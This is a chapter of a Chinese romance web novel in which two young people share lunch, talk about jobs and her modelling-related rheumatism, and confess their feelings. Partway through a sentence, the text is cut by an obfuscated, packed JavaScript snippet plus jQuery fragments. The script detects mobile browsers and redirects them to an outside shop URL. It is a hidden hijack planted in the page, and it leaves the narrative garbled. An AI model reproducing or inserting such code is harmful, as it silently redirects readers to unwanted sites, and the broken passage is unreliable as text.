她想着这会已经不早了,折琰有可能已经睡了,也就没指望着对面能马上同意她的邀请,于是舒念放下手机,戴上眼罩准备睡觉。
谁知头发接触到枕头的那一瞬间,手机传来嗡的一声,舒念心脏狂跳,立马扯开眼罩摸索着枕头边的手机。
回复只有短短一行,却换来了她一夜好梦。
[yalo:当然有空。早点休息,明天见。]
不远的另一边,折琰握着手机,轻轻敲下一行字。
^
餐厅的位置是舒念订的,在商场附近,是家新开不久的地道淮扬菜。
中午十一点半,餐厅人头攒动,前台和各个服务员忙得不可开交。因为预算不够订雅间,她便矮个子里拔将军选了个靠窗位。
折琰到时茶水刚上,热气正打着旋往天花板上窜。
他把外套搭在椅子上,坐下后紧接着就拉开今天的话题。
“什么时候去重庆啊,怎么通知得这么突然。”
之前在城中村陪着她拍戏的时候他听见过导演讲下个本子要去重庆拍,但没想到这么快。
“微电影是这样的,两三天拍完,两三天做后期剪辑,整个过程耗时不到一个星期。”
舒念喝了口茶,耐心解释。
聊天的间隙,菜逐渐上齐。
窗户外面不时有人经过,让坐在里面的忍住不失神一瞬。
“对了,我还有件事想问你,之后打算干什么,要换个地方重新开始吗”
舒念说这话时正给他递筷子,伸手的间隙自然地问。
折琰接过筷子,看着盘子里的龙井虾仁思索片刻,随后抬眸看着舒念的眼睛:“我不想再跑剧组了,打算正经找个活先干着,我妈才出院,康复训练还要花一笔。剧组工作不够稳定,赚不了多少钱。”
舒念觉得可惜,给他提供建议:“如果你愿意的话,我可以问问沈导,他可能会一起签你,既能干自己想干的,又能拿到不错的工资,也算两全其美了。”
折琰听完,摇摇头:“其实前两天我到现场去找你,就是想去碰碰运气。但很显然沈导并没有看上我,如果事情按照我想的那样发展,这次和你一起去重庆的就应该是我。”
舒念明白他话里的意思,以沈御的性格,如果满意折琰,当场就会敲定让他试戏签合同,但现在两三天过去,什么都没发生,就证明沈御并没有想签折琰的心思。
她点点头:“这样的话,就只能试试找个普通的工作了。”
“上午我去看了个酒店,他们大堂缺服务生,我打算去问问看,如果等来了更好的机会当然更好,如果找不到,就这样干着也无所谓。”
“我上的是夜班,白天的话,打算和一家淘宝店有合作,下午拍些模特图,这样就能赚两份钱了。”
现在天气渐渐暖和,正是夏装上线的时段,不用担心寒冬拍早春的衣服被冻得瑟瑟发抖。
听到模特两个字,舒念不知不觉想到了自己刚出来遇见温玉的时候。
那年冬天雪走得格外晚,已经是二月初的时节,天却还是冷得如同寒冬腊月,有好几天,舒念都被冻得直打哆嗦,等
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481620|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着换衣服的时间都要见缝插针地套着羽绒服才能让自己暖和一点,一天上百套衣服拍下来,全身都被冻出了鸡皮疙瘩,小腿更是早就冻得麻木。
春夏交界的时节去做平面模特,比冬天好了太多。
折琰知道舒念之前是模特,于是半开玩笑半认真的朝她发问:“按模特这一行来说,你也算是我的老师,那么你对学生有什么建议吗,舒老师。”
舒念被他这话逗笑:“我也只是个普通的平面模特,没什么经验呀,非要说的话,就是多积累一点拍照姿势,一套衣服会拍各种角度的效果图,还有的话…”
已经吃饱的她放下筷子,顿了顿,继续说:“还有就是干这行一定要耐冻,早春拍衣服很不好受。”
说完,她捶捶自己的腿:“我的风湿就是这样冻出来的,一下雨就会闷痛。不过男装可能会好很多,长裤占比要高一些。”
“风湿?”折琰很疑或,情不自禁地开口。
在他的印象里,风湿应该是老年病的,而舒念才二十岁,就因为雨城潮湿的天气和当模特挨冻患了风湿。
“没什么的,现在不干这个了,腿要稍微好一些,不算太疼,不用担心我的。”
舒念见他收起笑,眉头微蹙,出声安慰。
这事虽然不算大,旁人听了也不会太过在意,但却在折琰心里打了个深深的印子。
饭吃得差不多,是折琰抢着结的账,舒念来不及反应,就已经被他占了先机。走出饭店就是一阵凉风,舒念抬头看看铺满云层的天,在心里悄悄盘算着什么。
走过饭店的附近的十字路口,她刚想开口,就见折琰跟变魔术一样地拿出了瓶波子汽水。
还是那个熟悉的玻璃瓶,还是熟悉的标签和亮眼的粉色。
“说好的再请你一瓶,这次可以放心喝掉了。”他眉眼弯弯,朝着舒念笑。
舒念有些猝不及防,接过时玻璃瓶身还带着余温。
她做好心理建设,深呼吸后郑重地对他开口:“我看到你贴在我汽水旁的便利贴了,昨晚我想了很久,想明白了一件事。”
折琰被她认真的语气也勾得紧张起来:“什么事?”
“在找到我的汽水,发现你的便利贴以前,我…我其实对你更多的可能是近乎友谊的依赖。我承认我离不开你,但多的我实在没想过。”
“我坦白我是个很渴望友谊的人。高中的时候我在杂志上看过一段话:人如果孤独到了一定程度,就会发疯似的渴望陪伴,会把周遭的一切情感都幻化成友谊。之前的我可能就是这样,所以你会看到我像块木头一样的接受你所有好意,又笨拙地将这份好意还回来。”
她说完,心脏在胸腔里像只鹿一样乱蹦。
四周车流不停变换,交通信号灯绿了又红,那一瞬间,时间的流速似乎快了几倍,只剩下他们这一处被拉长的慢镜头。
“那现在呢。”他猜到她话还未说完,于是接过话茬提问。
在回答前,舒念将右手的汽水换到左手,随后在两人走到这条路的尽头时悄悄牵起他的手。
“现在我想明白了,我对你的这份依赖不仅仅是友谊。”
舒念说完,抬眸望向他的眼睛,像是在等一个确切的答复。
折琰读懂了她的心事,只不过说话的声音很小,小到只有他们两个人才能听到。
“念念,我对你也一样。不是你已经离不开我,而是从一开始,从再在雨城见到你的第一眼起,我就没想过要离开你。”
话说完,四周忽然安静下来,只剩下前方十字路口川流不息吵嚷的汽车轰鸣。
三,二,一,路口的红绿灯再一次换了颜色。